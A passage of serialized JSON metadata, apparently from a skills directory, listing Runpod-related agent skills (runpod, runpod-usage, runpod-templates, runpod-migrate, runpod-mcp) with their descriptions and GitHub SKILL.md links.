runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":119,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":131,"categories":132,"keywords":133,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":135,"name":136,"nameZh":6,"description":137,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":138,"categories":139,"keywords":140,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":142,"name":143,"nameZh":6,"description":144,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":145,"categories":146,"keywords":147,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]